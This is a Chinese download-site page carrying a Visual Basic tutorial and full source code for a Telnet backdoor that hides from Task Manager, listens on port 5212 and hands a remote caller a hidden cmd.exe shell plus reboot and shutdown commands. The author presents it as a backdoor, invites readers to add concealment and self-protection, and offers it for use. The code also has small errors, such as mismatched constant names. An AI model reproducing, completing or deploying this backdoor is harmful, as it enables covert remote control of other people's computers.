文件名称:VB Telnet编程指导思路

  • 所属分类:
  • 网络编程
  • 资源属性:
  • [Text]
  • 上传时间:
  • 2008-12-15
  • 文件大小:
  • 8.01kb
  • 下载次数:
  • 0次
  • 提 供 者:
  • onetwogoo
  • 相关连接:
  • 下载说明:
  • 别用迅雷下载,失败请重下,重下不扣分!

介绍说明--下载内容均来自于网络,请自行研究使用

vB编程之TELNET

对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,

这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。

首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,

下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:

Private Sub Form_Load()

syspath = systempath()

'防止多个程序运行

If App.PrevInstance Then

End

End If

cmdno = True

'使程序不在任务管理器中显示

App.TaskVisible = False

'监听端口5212

Winsock1.LocalPort = 5212

Winsock1.Listen

End Sub

其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)

当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State <> sckClosed Then

Winsock1.Close

Winsock1.Accept requestID

Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _

Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _

vbCrLf & "type help to get help" & vbCrLf & "shell>"

End If

End Sub

当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。

其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,

所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,

按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。

对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim str1 As String

Dim scmd As String

Dim i As Integer

Dim tag As Integer

Winsock1.GetData str1

'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效

If Asc(str1) = 8 Then

myname = "" '清空命令存储

Winsock1.SendData vbCrLf & "shell>"

End If

'检察当前一个命令的完整性和对命令输入错误的处理

If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then

myname = myname + str1

Elseif Asc(str1) <> 8 Then

'测试时,查看接受的命令

Text1.Text = myname & vbcrlf

myname = "" '清空对当前命令的存储,用来接受下一条命令

'--------下面是对接受命令的处理

tag = InStr(Text1.Text, Chr(13)) - 1

scmd = Left(Text1.Text, tag)

'------------------------------

'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句

If cmdno = True Then

Select Case scmd

Case "help"

Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _

vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"


Case "reboot"

ExitWindowsEx EXW_REBOOT, 0


Case "shutdown"

ExitWindowsEx EXW_SHUTDOWN, 0

Case "exit"

Winsock1.SendData "exit seccessful!"

Winsock1.Close

Winsock1.Listen

Case "cmd"

Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"

cmdno = False

Case Else

Winsock1.SendData "cammond error!" & vbCrLf & "shell>"

End Select

Else

Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide

Sleep (500)

'调用执行结果发送过程

Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"

If scmd = "exit" Then

Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"

cmdno = True '重置虚拟shell标志

End If

End If

End If

End Sub

接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内

容并将结果发送给控制端。代码如下:

Sub tranrlt()

Dim strrlt As String

Open syspath & "\shell.rlt" For Input As #1

Do While Not EOF(1)

Line Input #1, strrlt

Winsock1.SendData strrlt & vbCrLf

Loop

Close #1

Winsock1.SendData "----------------------------------------------------" & vbCrLf

Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide

End Sub

至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,

所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:

(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。

(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如*,文件上传等。

(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。

以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,

你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,

成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。


_____________--源码

Public syspath As String

Public cmdno As Boolean

Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const EWX_REBOOT = 2

Const EWX_SHUTDOW = 1

Public myname As String

Sub tranrlt()

Dim strrlt As String

Open syspath & "\shell.rlt" For Input As #1

Do While Not EOF(1)

Line Input #1, strrlt

Winsock1.SendData strrlt & vbCrLf

Loop

Close #1

Winsock1.SendData "----------------------------------------------------" & vbCrLf

Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide

End Sub

Function systempath() As String

Dim filepath As String

Dim nSize As Long

filepath = String(255, 0)

nSize = GetSystemDirectory(filepath, 256)

filepath = Left(filepath, nSize)

systempath = filepath

End Function

Private Sub Form_Load()

syspath = systempath()

If App.PrevInstance Then

End

End If

cmdno = True

App.TaskVisible = False

Winsock1.LocalPort = 5212

Winsock1.Listen

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State <> sckClosed Then

Winsock1.Close

Winsock1.Accept requestID

Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _

Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _

vbCrLf & "type help to get help" & vbCrLf & "shell>"

End If

End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim str1 As String

Dim scmd As String

Dim i As Integer

Dim tag As Integer

Winsock1.GetData str1

If Asc(str1) = 8 Then

myname = ""

Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"

End If

If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then

myname = myname + str1

ElseIf Asc(str1) <> 8 Then

Text1.Text = myname & vbCrLf

myname = ""

tag = InStr(Text1.Text, Chr(13)) - 1

scmd = Left(Text1.Text, tag)

If cmdno = True Then

Select Case scmd

Case "help"

Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _

vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"


Case "reboot"

ExitWindowsEx EXW_REBOOT, 0


Case "shutdown"

ExitWindowsEx EXW_SHUTDOWN, 0

Case "exit"

Winsock1.SendData "exit seccessful!"

Winsock1.Close

Winsock1.Listen

Case "cmd"

Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"

cmdno = False

Case Else

Winsock1.SendData "command error!" & vbCrLf & "shell>"

End Select

Else

Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide

Sleep (500)

Call tranrlt


Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"

If scmd = "exit" Then

Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"

cmdno = True

End If

End If

End If

End Sub


Private Sub Winsock1_Error(ByVal Number As Integer, Descr iption As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Winsock1.Close

Winsock1.Listen

End Sub


(系统自动生成,下载前可以参看下载内容)

下载文件列表

压缩包 : 思路.txt 列表

相关说明

  • 本站资源为会员上传分享交流与学习,如有侵犯您的权益,请联系我们删除.
  • 本站是交换下载平台,提供交流渠道,下载内容来自于网络,除下载问题外,其它问题请自行百度更多...
  • 请直接用浏览器下载本站内容,不要使用迅雷之类的下载软件,用WinRAR最新版进行解压.
  • 如果您发现内容无法下载,请稍后再次尝试;或者到消费记录里找到下载记录反馈给我们.
  • 下载后发现下载的内容跟说明不相乎,请到消费记录里找到下载记录反馈给我们,经确认后退回积分.
  • 如下载前有疑问,可以通过点击"提供者"的名字,查看对方的联系方式,联系对方咨询.

相关评论

暂无评论内容.

发表评论

*主  题:
*内  容:
*验 证 码:

源码中国 www.ymcn.org